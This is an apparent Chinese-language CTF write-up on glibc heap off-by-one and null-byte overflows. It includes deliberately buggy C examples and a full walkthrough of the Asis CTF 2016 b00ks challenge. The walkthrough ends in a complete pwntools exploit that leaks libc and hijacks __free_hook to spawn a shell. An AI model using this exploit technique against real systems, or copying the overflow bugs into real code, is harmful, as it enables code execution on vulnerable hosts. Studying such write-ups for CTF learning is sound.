原理

在使用循环向堆块中写入数据时,在循环设置错误后 导致多写入了一个字节,而产生的漏洞

off-by-one可以是基于各种缓冲区之上(如stack、.bss)的,但是这里的是指heap

利用思路

溢出字节为可控制字节

通过修改大小造成块结构之间出现重叠,从而泄露其它块数据,或是覆盖其它块数据

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//gcc -g fance_error.c -o fance
int my_gets(char *ptr,int size)
{
int i;
for(i=0;i<=size;i++)
//从0开始循环到16,就导致循环了17次
{
ptr[i]=getchar();
}
return i;
}
int main()
{
void *chunk1,*chunk2;
chunk1=malloc(16);
chunk2=malloc(16);
printf("chunk1_Addr %p\n",chunk1);
printf("chunk2_Addr %p\n",chunk2);
puts("Get Input:");
my_gets(chunk1,16);
puts("over!");
return 0;
}
//abcdefghijklmnopqrstuvwxyz

可以看到已经覆盖了0x602020的一字节

Null字节溢出

在size为0x100的时候,溢出null字节可以使得 prive_in_use位被清,这样前块会被认为是free块。

  1. 可以选择使用unlink方法进行处理。
  2. 此时的prive_size域会启用,就可以伪造prive_size,从而造成块之间发生重叠。

此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的后一块(理论上是当前正在 unlink 的块)与当前正在 unlink 的块大小是否相等。

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//gcc -g null_bytes.c -o null_bytes
int main(void)
{
char buffer[40]="";
void *chunk1;
chunk1=malloc(24);
printf("chunk1_Addr %p\n",chunk1);
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
//strcpy函数会将buffer的"\x00"带上,导致此时的chunk1实际上是读取了25bytes
}
puts("over!");
return 0;

}

正常情况下可以看到最后一位应该是0x0411,而在上面却被\x00所覆盖

Asis_CTF_2016_b00ks

攻击流程图

任意地址读写

用IDA打开分析源码,可以看到在由于对边界的考虑不当,导致会多读取一个\x00字节,当我们创建book1结构体的时候,会让结构体的地址覆盖掉这个\x00,从而致使我们能直接读取到book1结构体的地址。

在确定住author_name的地址后,使用gdb打开输入author_name的内容填充满32字节,再创建一个book结构体

此时使用gdb查看authour_name的地址

book结构体已经将author_name第33字节的\x00所覆盖导致再打印书本的时候,直接能让程序输出book结构体的地址,而book1结构体的地址上的0x55555557574200x5555555757440则分别是我们输入的book_name的aaaa和book_desc的bbbb。

当我们再创建一个book时,可以得知book2的结构体距离book1有0x70字节大小(由于我调试了多次,所以在EXP中的偏移与此时的不同)

继续运行后,选择change current author name修改authorname后,再次查看author_name的地址

可以看到author_name第33字节上的\x00已经将book1结构体的地址的最后一字节给覆盖了

而假设我们创建book1时,给name_size申请足够大的空间,那么被覆盖最后一字节为”\x00”的book1结构体地址就有可能落在book1的desc的空间中,从而我们就有机会利用edit a book来修改desc的内容,来实现任意地址读写

可以看到当我们申请的name_size在200大小时,book1结构体的地址就已经落在了book1的desc空间中,再拿0x555555757500-0x5555557574f0=0x10,也就是book1结构体地址距离desc的偏移量

再看,此时的name_size的大小是200的话,距离book1结构体地址的距离是0x10,那我们设置name_size为216时,便是正好指向我们的结构体了

而book2的desc地址也可以由 book2结构体的地址-book1结构体的地址+0x10得出

利用mmap泄露libc基地址

当申请的内存空间比较大时,空间将由mmap进行分配,而mmap分配的内存与libc的基地址存在一个固定的偏移,也就是说我们拿分配的地址-固定偏移量,就可以得到libc基地址

在exp中我申请的是0x21000大小的desc空间

劫持free_hook获取shell

关于free_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

extern void (*__free_hook) (void *__ptr,const void *);

int main()
{
char *str = malloc(160);
strcpy(str,"/bin/sh");

printf("__free_hook: 0x%016X\n",__free_hook);
// 劫持__free_hook
__free_hook = system;
printf("system: 0x%016X\n",system);
printf("__free_hook: 0x%016X\n",__free_hook);
free(str);

return 0;
}

可以简单的理解为,当__free_hook地址上的内容不为空时,free操作将执行该地址上的内容

所以当我们free("/bin/sh")时就等于system("/bin/sh")

关于free_hook详细的利用原理可以看EX师傅的文章

http://blog.eonew.cn/archives/521

题中利用

在book1的desc中伪造结构体时,我们可以将book2的name和desc调转过来,也就是fake_book中的desc与book2中的name相对应,这样在后面的修改book2的desc时便可以一起修改上book2的name指向。

将book2中的name改写为bin_sh、desc改写为free_hook后再利用edit desc功能改写free_hook上的内容为system的地址。

最后在delete book时,代码中的free(book2_struct+8) 由于free_hook不为空的原因,执行的就相当于system("/bin/sh")

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
global sh
sh = process("./b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def create(name_size,book_name,desc_size,book_desc):
sh.recvuntil(">")
sh.sendline("1")
sh.sendlineafter("Enter book name size: ",name_size)
sh.sendlineafter("Enter book name (Max 32 chars): ",book_name)
sh.sendlineafter("Enter book description size: ",desc_size)
sh.sendlineafter("Enter book description: ",book_desc)
def delete_book(book_id):
sh.recvuntil(">")
sh.sendline("2")
sh.sendlineafter("Enter the book id you want to delete: ",book_id)
def edit_book(book_id,desc):
sh.recvuntil(">")
sh.sendline("3")
sh.sendlineafter("Enter the book id you want to edit: ",book_id)
sh.sendlineafter("Enter new book description: ",desc)
def print_book():
sh.recvuntil(">")
sh.sendline("4")
def change_author(author_name):
sh.recvuntil(">")
sh.sendline("5")
sh.sendlineafter("Enter author name: ",author_name)

### 泄露book1_struct地址
sh.recvuntil("Enter author name: ")
sh.sendline("da1sy_author".ljust(32,"a"))
create("216","book1_name","216","book1_desc")
print_book()
#gdb.attach(sh)
sh.recvuntil("da1sy_author".ljust(32,"a"))
book1_struct_addr = u64(sh.recv(6).ljust(8,"\x00"))
success("book1_struct_addr => 0x%x",book1_struct_addr)

###利用mmap泄露book2_name\book2_desc地址上的数据
create("135168","book2_name","135168","book2_desc") #0x21000
#利用mmap来分配大空间,该空间的地址与libc有固定的偏移,以获取libc基地址
book2_struct_addr = book1_struct_addr+0x30
book2_name_addr = book2_struct_addr +0x8
book2_desc_addr = book2_struct_addr +0x10
success("book2_name_addr => 0x%x",book2_name_addr)
success("book2_desc_addr => 0x%x",book2_desc_addr)
payload = p64(1)+p64(book2_desc_addr)+p64(book2_name_addr)+p64(0xffff)
edit_book("1",payload)
#将book2的desc和name地址写入到book1的name和desc中,由于后续我们需要利用book2_name这个地址来修改上面的数据,
#所以这里要反过来填写
change_author("da1sy_author".ljust(32,"a"))
#修改author_name 使null字节覆盖到book1_struct的地址上,
#让book1_struct指向book1_desc中伪造的结构体
print_book()
sh.recvuntil("Name: ")
book2_desc = u64(sh.recv(6).ljust(8,"\x00"))
sh.recvuntil("Description: ")
book2_name = u64(sh.recv(6).ljust(8,"\x00"))
success("book2_name => 0x%x",book2_name)
success("book2_desc => 0x%x",book2_desc)

###利用已知的mmap所分配的book2_desc泄露libc的基地址
#gdb.attach(sh)
libc_base = book2_desc - 0x58e010
#可以在这里先下个断点,在GDB中确认book2_desc距离libc_base的偏移
success("libc_base => 0x%x",libc_base)

###劫持free_hook getshell
binsh_addr = libc_base + libc.search("/bin/sh").next()
system_addr = libc_base + libc.sym["system"]
free_hook_addr = libc_base + libc.sym["__free_hook"]
success("binsh_addr => 0x%x",binsh_addr)
success("system_addr => 0x%x",system_addr)
success("free_hook_addr => 0x%x",free_hook_addr)
payload = p64(binsh_addr)+p64(free_hook_addr)
edit_book("1",payload)
# 将book1的desc中伪造的结构体中的book2_name 指向bin_sh和free_hook
# 由于将name与desc调换了位置,所以我们修改book2_name时,只要在book2_name+8的位置上填充上free_hook,
# 便可以覆盖掉book2_name的desc
edit_book("2",p64(system_addr))
# 再将book2中的desc指向的free_hook地址替换为system
# 那么就等于将free_hook指向的地址修改为system
delete_book("2")
#当执行delete操作时
# 因为free_hook不为空,所以在free时将执行free_hook中的函数system
# 也就是 free(name) = free("/bin/sh") = system("/bin/sh")
sh.interactive()


学习参考:

https://blog.csdn.net/qin9800/article/details/104996493

https://finch1.gitee.io/2020/02/02/asis-ctf-2016-b00ks/

https://www.jianshu.com/p/68e8144fe068

https://bbs.pediy.com/thread-246507.htm